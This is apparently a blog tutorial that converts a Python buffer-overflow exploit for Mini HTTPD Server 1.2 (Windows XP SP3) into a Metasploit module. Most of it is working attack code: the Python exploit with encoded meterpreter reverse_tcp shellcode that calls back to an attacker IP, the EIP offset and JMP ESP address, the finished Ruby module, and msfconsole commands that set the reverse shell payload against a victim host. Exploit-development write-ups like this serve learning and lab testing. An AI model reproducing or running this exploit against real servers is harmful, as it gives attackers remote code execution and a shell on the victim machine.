From exploit to Metasploit: Mini HTTPD Sever 1.2

This post is to explain how to convert our Mini HTTPD Server 1.2 Exploit to a Metasploit module gaining a lot of flexibility to chose our payloads and targets (once defined in the module of course).

Here there is an exploit skeleton from Metasploit you can find in “Metasploit Unleashed”.

[code]
require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize
super(
‘Name’ => ‘Simplified Exploit Module’,
‘Description’ => ‘This module sends a payload’,
‘Author’ => ‘My Name Here’,
‘Payload’ => {‘Space’ => 1024, ‘BadChars’ => “\x00”},
‘Targets’ => [ [‘Automatic’, {} ] ],
‘Platform’ => ‘win’,
)
register_options( [
Opt::RPORT(12345)
], self.class)
end

# Connect to port, send the payload, handle it, disconnect
def exploit
connect()
sock.put(payload.encoded)
handler()
disconnect()
end
end
[/code]

Every module needs at least two functions “initialize” and “exploit”. There is a third and optional function named “check” that is used to fingerprint the victim box checking if it is vulnerable to the exploit or not. A part from this you can define more auxiliary functions to help achieve your goal, just like any python or ruby script.

Like Python, the indentation in Ruby is very important. Metasploit modules used to use two blank spaces instead of tabulations to indent (It is advisable to set the text editor of your choice to use the two spaces when you press tab).

Here an example “.vimrc” file to set up Vim editor.
[code]
filetype indent plugin on
syntax on
set shiftwidth=2
set softtabstop=2
set expandtab
[/code]

If you use this “.vimrc” file, and you try to paste the exploit skeleton into a file using “Vim”, each new line you paste will be indented, and the exploit will loose the format. To solve this, you need to execute “:set paste” command before you paste the content on the file. Once pasted, if the indent is more than two spaces you can type “gg=G” command to re-indent the file using the configured values.

The line “include Msf::Exploit::Remote::TCP” is a “Mixin”, that lets you include “classes” inside “classes”. Mixins adds new functions and let you overload existing ones changing its behavior.

Metasploit has many ready to use “Mixins” that you can find in the folder “lib/msf/core/” inside the Metasploit parent folder. You can find lots of information about “Mixins” on the Internet, for example on
“http://www.offensive-security.com/metasploit-unleashed/Exploit_Mixins”, or simply looking into the source code.

Here you have some Metasploit “Mixins”:

  • Exploit::Remote::Tcp (lib/msf/core/exploit/tcp.rb)
  • Exploit::Remote::DCERPC (lib/msf/core/exploit/dcerpc.rb)
  • Exploit::Remote::SMB (lib/msf/core/exploit/smb.rb)
  • Exploit::Remote::BruteTargets (lib/msf/core/exploit/brutetargets.rb — lib/msf/core/exploit/brute.rb)
  • Exploit::Remote::HttpClient (lib/msf/core/exploit/http/client.rb)
  • Exploit::Remote::FILEFORMAT (lib/msf/core/exploit/fileformat.rb)
  • Exploit::Remote::Egghunter (lib/msf/core/exploit/egghunter.rb)
  • Exploit::Remote::Omelet (lib/msf/core/exploit/omelet.rb)
  • Exploit::Remote::Seh (lib/msf/core/exploit/seh.rb)

We want to port into Metasploit the following exploit:

[code]
import sys
import socket
import struct

# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f
# Shellcode max size 335 bytes.
offset_eip = 967
offset_shellcode = 632
EIP = struct.pack(‘<I’, 0x7c91fcd8) # jmp esp ntdll.dll
ESP = ‘\x81\xc4\x18\xfc\xff\xff’ # add esp,-3e8h (1000 bytes)
ESP += ‘\xe9\xa2\xfe\xff\xff’ # jmp $-345
buffer = ‘A’ * offset_shellcode
# windows/meterpreter/reverse_tcp LHOST=192.168.65.140
# x86/shikata_ga_nai succeeded with size 314 (iteration=1)
shellcode = (
"\xb8\x54\x28\xa2\x05\xd9\xc1\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x48\x31\x43\x15\x03\x43\x15\x83\xc3\x04\xe2\xa1\xd4\x4a\x83"
"\x49\x25\x8b\xec\xc0\xc0\xba\x3e\xb6\x81\xef\x8e\xbd\xc4\x03"
"\x64\x93\xfc\x90\x08\x3b\xf2\x11\xa6\x1d\x3d\xa1\x06\xa1\x91"
"\x61\x08\x5d\xe8\xb5\xea\x5c\x23\xc8\xeb\x99\x5e\x23\xb9\x72"
"\x14\x96\x2e\xf7\x68\x2b\xc4\x4b\x7d\x2b\x39\x19\x7c\x1a\xec"
"\x16\x27\xbc\x0e\xfb\x53\xf5\x08\x18\x5f\x4f\xa2\xea\x2b\x4e"
"\x62\x23\xd3\x60\x4a\xef\xea\x4c\x47\xee\x2b\x6a\xb8\x85\x47"
"\x88\x45\x9d\x93\xf2\x91\x28\x06\x54\x51\x8a\xe2\x64\xb6\x4c"
"\x60\x6a\x73\x1b\x2e\x6f\x82\xc8\x44\x8b\x0f\xef\x8a\x1d\x4b"
"\xcb\x0e\x45\x0f\x72\x16\x23\xfe\x8b\x48\x8b\x5f\x29\x02\x3e"
"\x8b\x44\x49\x57\x78\x64\x72\xa7\x16\xff\x01\x95\xb9\xab\x8d"
"\x95\x32\x75\x49\xd9\x68\xc1\xc5\x24\x93\x31\xcf\xe2\xc7\x61"
"\x67\xc2\x67\xea\x77\xeb\xbd\xbc\x27\x43\x6e\x7c\x98\x23\xde"
"\x14\xf2\xab\x01\x04\xfd\x61\x2a\xae\x07\xe2\x95\x86\x49\x7e"
"\x7d\xd4\x49\x6f\x22\x51\xaf\xe5\xca\x37\x67\x92\x73\x12\xf3"
"\x03\x7b\x89\x79\x03\xf7\x3d\x7d\xca\xf0\x48\x6d\xbb\xf0\x07"
"\xcf\x6a\x0e\xb2\x7a\x93\x9a\x38\x2d\xc4\x32\x42\x08\x22\x9d"
"\xbd\x7f\x38\x14\x2b\xc0\x57\x59\xbb\xc0\xa7\x0f\xd1\xc0\xcf"
"\xf7\x81\x92\xea\xf7\x1c\x87\xa6\x6d\x9e\xfe\x1b\x25\xf6\xfc"
"\x42\x01\x59\xfe\xa0\x93\xa6\x29\x8d\x11\xde\x5f\xfd\xd9"
)
buffer += shellcode
buffer += ‘A’ * (offset_eip – len(buffer))
buffer += EIP buffer += ESP
buffer += ‘E’ * (1500 – len(buffer))
HOST = ‘127.0.0.1’
PORT = 80
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print ‘Received’, repr(data)
[/code]

First we must create the file “minihttpd.rb” on “~/.msf4/modules/exploits/windows/misc” (you must create the directories if they don’t exist) and paste the Metasploit “exploit skeleton” within. We are creating the path of the Metasploit modules on the user home folder. We could put our exploit into the “framework” path, but then we can loose it when “Metasploit” is updated.

Now, let’s modify the “initialize” function of the skeleton. Here is the expected function after the first update.

[code]
def initialize
super(
‘Name’ => ‘Mini HTTPD Server 1.2 Exploit’,
‘Description’ => ‘This module sends a crafted url to exploit a buffer overflow error’,
‘Author’ => ‘h4rds3c’,
‘Payload’ => {‘Space’ => 1024, ‘BadChars’ => “\x00”},
‘Targets’ => [ [‘Automatic’, {} ] ],
‘Platform’ => ‘win’,
)
register_options( [
Opt::RPORT(12345)
], self.class)
end
[/code]

Now we need to modify the “payload” section. We know the available space for the payload is 335 bytes, and the “bad chars” are “\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f”.
Here you have the configuration.

[code]
‘Payload’ => {
‘Space’ => 335,
‘BadChars’ => “\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f”
},
[/code]

This tells Metasploit that only the payloads that fits in the space available, are eligibly for this exploit, and payload need to be codified with no bad chars.

In the “Targets” section we can configure as many targets as we want. In this case, the exploit is for a Windows XP Sp3 English, so let’s fill in the skeleton the “Targets” section for this box.

[code]
[‘Windows XP SP3 English’,
{
‘Ret’ => 0x7c91fcd8, # jmp esp ntdll.dll
‘OffSet’ => 967,
}
]
[/code]

In “register_options” we change the port number for “80” (http port).

[code]
register_options( [
Opt::RPORT(80)
], self.class)
[/code]

At the moment our exploit must be like the following:

[code]
require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize
super(
‘Name’ => ‘Mini HTTPD Server 1.2 Exploit’,
‘Description’ => ‘This module sends a crafted url to exploit a buffer overflow error’,
‘Author’ => ‘h4rds3c’,
‘Payload’ => {‘Space’ => 335, ‘BadChars’ => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f" },
‘Targets’ =>
[
[‘Win XP Sp3 English’,
{
‘Ret’ => 0x7c91fcd8, # jmp esp (ntdll.dll)
‘OffSet’ => 967,
}
]
],
‘Platform’ => ‘win’,
)
register_options( [
Opt::RPORT(80)
], self.class)
end

# Connect to port, send the payload, handle it, disconnect
def exploit
connect()
sock.put(payload.encoded)
handler()
disconnect()
end
end
[/code]

Now we must put the exploit logic into the “exploit” function. We can write as many functions as we want to achieve our goal. or just use the exploit function.

[code]
def exploit
offset_shellcode = 632 # padding for the shellcode
size = 1500 # buffer size
jmp_code = “\x81\xc4\x18\xfc\xff\xff” # move ESP 1000 bytes away
jmp_code << “\xe9\xa2\xfe\xff\xff” # Jump Back to the payload

buffer = ‘A’ * offset_shellcode # Padding
buffer << payload.encoded #Mestasploit Payload.
buffer << ‘A’ * (target[‘OffSet’]-buffer.length) # Padding to EIP
buffer << [target.ret].pack(‘V’) # 0x7c91fcd8 : # JMP ESP (ntdll.dll)
buffer << jmp_code
buffer << ‘A’ * (size-buffer.length) # Padding to buffer size

req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
connect()
print_status("Sending evil buffer…")
sock.put(req)
handler()
disconnect()
end
[/code]

As we can see, we just translate our Python exploit to a Ruby exploit, but in this case we change the “payload” for the variable “payload.encoded” (Metasploit is in charge of generate the payload, codified it without bad chars and put it where the variable is).
For EIP we use “target.ret”. This let us define several targets on the exploit with no changes on the exploit function. The “targets” have to be defined on the “Targets” section on “initialize” function. Then, from inside Metasploit we choose the target we want to attack.

Note: Be careful when you put the “JMP ESP opcodes” in the exploit. You must use double quotes, never single quotes, because single quotes, don’t evaluate inside expressions, so ‘\x41’ will be interpreted as the sign “\” followed by the chars “x41” instead of being interpreted as an “A” and our exploit is going to fail.

Our final exploit is:

[code]
require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize
super(
‘Name’ => ‘Mini HTTPD Server 1.2 Exploit’,
‘Description’ => ‘This module sends a crafted url to exploit a buffer overflow error’,
‘Author’ => ‘h4rds3c’,
‘Payload’ => {‘Space’ => 335, ‘BadChars’ => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"},
‘Targets’ =>
[
[‘Win XP Sp3 English’,
{
‘Ret’ => 0x7c91fcd8, # jmp esp (ntdll.dll)
‘OffSet’ => 967,
}
]
],
‘Platform’ => ‘windows’,
)
register_options( [
Opt::RPORT(80)
], self.class)
end

# Connect to port, send the payload, handle it, disconnect
def exploit
offset_shellcode = 632
size = 1500

jmp_code = "\x81\xc4\x18\xfc\xff\xff" # add esp,-3e8h (1000 bytes) move ESP away
jmp_code << "\xe9\xa2\xfe\xff\xff" # jmp $-345 Jump back to shellcode

buffer = ‘A’ * offset_shellcode # Padding before the payload
buffer << payload.encoded # Payload from Mestasploit.
buffer << ‘A’ * (target[‘OffSet’]-buffer.length) # Padding until EIP overwrite
buffer << [target.ret].pack(‘V’) # 0x7c91fcd8 : # JMP ESP (ntdll.dll)
buffer << jmp_code
buffer << ‘A’ * (size-buffer.length) # Padding until buffer size
print_status("total buffer size: "+buffer.length.to_s)
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
connect()
print_status("Sending evil buffer…")
sock.put(req)
handler()
disconnect()
end
end
[/code]

We need to configure the exploit into Metasploit if we want to used it.
Victim IP: 192.168.65.139
Server port: 80
attacking IP: 192.168.65.140

[code]
$msfconsole -n
msf> use exploit/windows/misc/minihttpd
msf exploit(minihttpd) > set RHOST 192.168.65.139
msf exploit(minihttpd) > set RPORT 80
msf exploit(minihttpd) > set payload windows/meterpreter/reverse_tcp
msf exploit(minihttpd) > set LHOST 192.168.65.140
msf exploit(minihttpd) > set target 0
msf exploit(minihttpd) > exploit
[/code]

We can see on the following image how we configure the exploit and how we executed it Mini HTTPD Server 1.2.

py-msf1

PWNED!!!

Debug Errors in Metasploit.

To debug errors when we write en exploit for Metasploit, we can start setting up a height logging level, and then looking at the file framework file “~/.msf4/logs/framework.log” on other terminal.

[code]msf > set loglevel 5[/code]

To help develop, in “Metasploit, we can use “print_status” to print debug info at the standard output (console).
Here two examples:

[code]
print_status("total buffer size: "+buffer.length.to_s)
print_status("Sending evil buffer…")
[/code]

I hope you enjoy the reading of this post. Soon I’ll try to fix this exploit to bypass DEP and make it work on Windows 7.

Bye bye.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

*